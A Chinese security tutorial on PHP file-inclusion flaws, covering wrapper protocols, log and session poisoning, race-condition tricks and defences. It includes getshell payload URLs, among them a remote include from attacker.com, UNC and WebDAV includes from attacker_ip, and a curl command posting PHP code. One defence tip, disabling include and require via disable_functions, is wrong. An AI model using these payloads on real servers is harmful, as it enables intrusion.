浅析php文件包含及其getshell的姿势
字数 1795 2025-08-26 22:11:51

PHP文件包含漏洞深度分析与利用技术

0x01 文件包含基础

1.1 PHP包含函数

PHP提供了4个文件包含函数:

  • include() - 包含并执行指定文件,出错时产生警告但脚本继续执行
  • require() - 包含并执行指定文件,出错时产生致命错误并停止脚本
  • include_once() - 与include()类似,但会检查是否已包含过该文件
  • require_once() - 与require()类似,但会检查是否已包含过该文件

1.2 支持的协议和封装协议

PHP文件包含支持多种协议和封装协议:

  • file:// - 访问本地文件系统
  • http:// - 访问HTTP(s)网址
  • php:// - 访问各种输入/输出流
  • glob:// - 查找匹配的文件路径模式
  • expect:// - 处理交互式流(通常被禁用)

0x02 常用伪协议详解

2.1 file://协议

  • 默认访问本地文件系统
  • 可绕过某些正则过滤(如过滤..//开头时)
  • 示例:file:///path/to/file.ext 等价于 /path/to/file.ext

2.2 php://协议

2.2.1 php://input

  • 访问请求的原始数据只读流
  • 可执行POST请求中的数据作为PHP代码
  • 使用条件:
    • allow_url_fopen: On(默认)
    • allow_url_include: On(默认Off)

2.2.2 php://filter

  • 元封装器,用于数据流筛选过滤
  • 常见用法:
    • 读取文件:php://filter/resource=file
    • 编码转换:php://filter/read=convert.base64-encode/resource=file
    • 写入文件:php://filter/write=convert.base64-decode/resource=file

0x03 文件包含利用技术

3.1 基础利用方式

3.1.1 读取源代码

  • 使用base64编码绕过解析:
    php://filter/read=convert.base64-encode/resource=filename
    
  • 示例:
    http://example.com/test.php?file=php://filter/read=convert.base64-encode/resource=./test.php
    

3.1.2 直接Getshell(allow_url_include开启)

  1. 远程包含:
    http://example.com/test.php?file=http://attacker.com/shell.txt
    
  2. php://input执行代码:
    curl -v "http://example.com/test.php?file=php://input" -d "<?php phpinfo();?>"
    
  3. data://协议:
    http://example.com/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
    

3.2 特殊环境利用

3.2.1 Windows下双Off情况(allow_url_include和allow_url_fopen关闭)

  • 利用SMB共享(UNC路径):
    http://example.com/test.php?file=\\attacker_ip\share\shell.php
    
  • 利用WebDAV:
    http://example.com/test.php?file=//attacker_ip/webdav/shell.php
    

3.2.2 包含日志文件

  • Apache日志:
    /var/log/apache2/access.log
    
  • Nginx日志:
    /var/log/nginx/access.log
    
  • Windows下PHP错误日志:
    C:\phpStudy\Apache\logs\error.log
    

3.2.3 包含环境变量

  • Linux下:
    /proc/self/environ
    
    通过修改User-Agent注入代码

3.3 结合上传功能

3.3.1 任意文件包含

直接包含上传的文件:

http://example.com/test.php?file=uploads/shell.jpg

3.3.2 限制后缀绕过

  1. zip://协议:
    http://example.com/test.php?file=zip:///path/to/shell.jpg%23shell
    
  2. phar://协议:
    http://example.com/test.php?file=phar://shell.jpg/shell
    

3.4 高级利用技术

3.4.1 phpinfo + LFI Getshell

利用临时文件竞争条件:

  1. 上传文件时PHP会生成临时文件
  2. 通过phpinfo获取临时文件名
  3. 在文件被删除前包含它

Python利用脚本:

# 详见原文提供的完整脚本

3.4.2 Session + LFI Getshell

利用session.upload_progress:

  1. 构造上传表单并设置PHP_SESSION_UPLOAD_PROGRESS
  2. 通过条件竞争包含session文件
  3. 示例路径:
    /var/lib/php/sessions/sess_PHPSESSID
    

Python利用脚本:

# 详见原文提供的完整脚本

3.4.3 PHP7崩溃特性

利用PHP7的string.strip_tags导致段错误:

http://example.com/index.php?file=php://filter/string.strip_tags=/etc/passwd

这会保留临时文件不被删除,然后通过目录列表获取文件名进行包含。

0x04 防御措施

  1. 禁用危险函数:
    disable_functions = include,include_once,require,require_once
    
  2. 关闭危险配置:
    allow_url_fopen = Off
    allow_url_include = Off
    
  3. 严格过滤输入:
    • 检查包含文件路径
    • 限制包含文件后缀
    • 使用白名单机制
  4. 设置open_basedir限制访问目录
  5. 保持PHP版本更新,修复已知漏洞

0x05 总结

文件包含漏洞利用方式多样,从简单的源代码读取到复杂的条件竞争利用,攻击者可以通过多种方式实现代码执行。防御需要从配置、代码和服务器环境多方面入手,才能有效降低风险。

0x06 参考资源

  1. PHP官方文档 - 文件包含函数
  2. PHP官方文档 - 支持的协议和封装协议
  3. PHP安全配置指南
  4. 各种CTF比赛Writeup
  5. 安全研究人员的技术博客
PHP文件包含漏洞深度分析与利用技术 0x01 文件包含基础 1.1 PHP包含函数 PHP提供了4个文件包含函数: include() - 包含并执行指定文件,出错时产生警告但脚本继续执行 require() - 包含并执行指定文件,出错时产生致命错误并停止脚本 include_once() - 与include()类似,但会检查是否已包含过该文件 require_once() - 与require()类似,但会检查是否已包含过该文件 1.2 支持的协议和封装协议 PHP文件包含支持多种协议和封装协议: file:// - 访问本地文件系统 http:// - 访问HTTP(s)网址 php:// - 访问各种输入/输出流 glob:// - 查找匹配的文件路径模式 expect:// - 处理交互式流(通常被禁用) 0x02 常用伪协议详解 2.1 file://协议 默认访问本地文件系统 可绕过某些正则过滤(如过滤 ../ 或 / 开头时) 示例: file:///path/to/file.ext 等价于 /path/to/file.ext 2.2 php://协议 2.2.1 php://input 访问请求的原始数据只读流 可执行POST请求中的数据作为PHP代码 使用条件: allow_url_fopen : On(默认) allow_url_include : On(默认Off) 2.2.2 php://filter 元封装器,用于数据流筛选过滤 常见用法: 读取文件: php://filter/resource=file 编码转换: php://filter/read=convert.base64-encode/resource=file 写入文件: php://filter/write=convert.base64-decode/resource=file 0x03 文件包含利用技术 3.1 基础利用方式 3.1.1 读取源代码 使用base64编码绕过解析: 示例: 3.1.2 直接Getshell(allow_ url_ include开启) 远程包含: php://input执行代码: data://协议: 3.2 特殊环境利用 3.2.1 Windows下双Off情况(allow_ url_ include和allow_ url_ fopen关闭) 利用SMB共享(UNC路径): 利用WebDAV: 3.2.2 包含日志文件 Apache日志: Nginx日志: Windows下PHP错误日志: 3.2.3 包含环境变量 Linux下: 通过修改User-Agent注入代码 3.3 结合上传功能 3.3.1 任意文件包含 直接包含上传的文件: 3.3.2 限制后缀绕过 zip://协议: phar://协议: 3.4 高级利用技术 3.4.1 phpinfo + LFI Getshell 利用临时文件竞争条件: 上传文件时PHP会生成临时文件 通过phpinfo获取临时文件名 在文件被删除前包含它 Python利用脚本: 3.4.2 Session + LFI Getshell 利用session.upload_ progress: 构造上传表单并设置PHP_ SESSION_ UPLOAD_ PROGRESS 通过条件竞争包含session文件 示例路径: Python利用脚本: 3.4.3 PHP7崩溃特性 利用PHP7的string.strip_ tags导致段错误: 这会保留临时文件不被删除,然后通过目录列表获取文件名进行包含。 0x04 防御措施 禁用危险函数: 关闭危险配置: 严格过滤输入: 检查包含文件路径 限制包含文件后缀 使用白名单机制 设置open_ basedir限制访问目录 保持PHP版本更新,修复已知漏洞 0x05 总结 文件包含漏洞利用方式多样,从简单的源代码读取到复杂的条件竞争利用,攻击者可以通过多种方式实现代码执行。防御需要从配置、代码和服务器环境多方面入手,才能有效降低风险。 0x06 参考资源 PHP官方文档 - 文件包含函数 PHP官方文档 - 支持的协议和封装协议 PHP安全配置指南 各种CTF比赛Writeup 安全研究人员的技术博客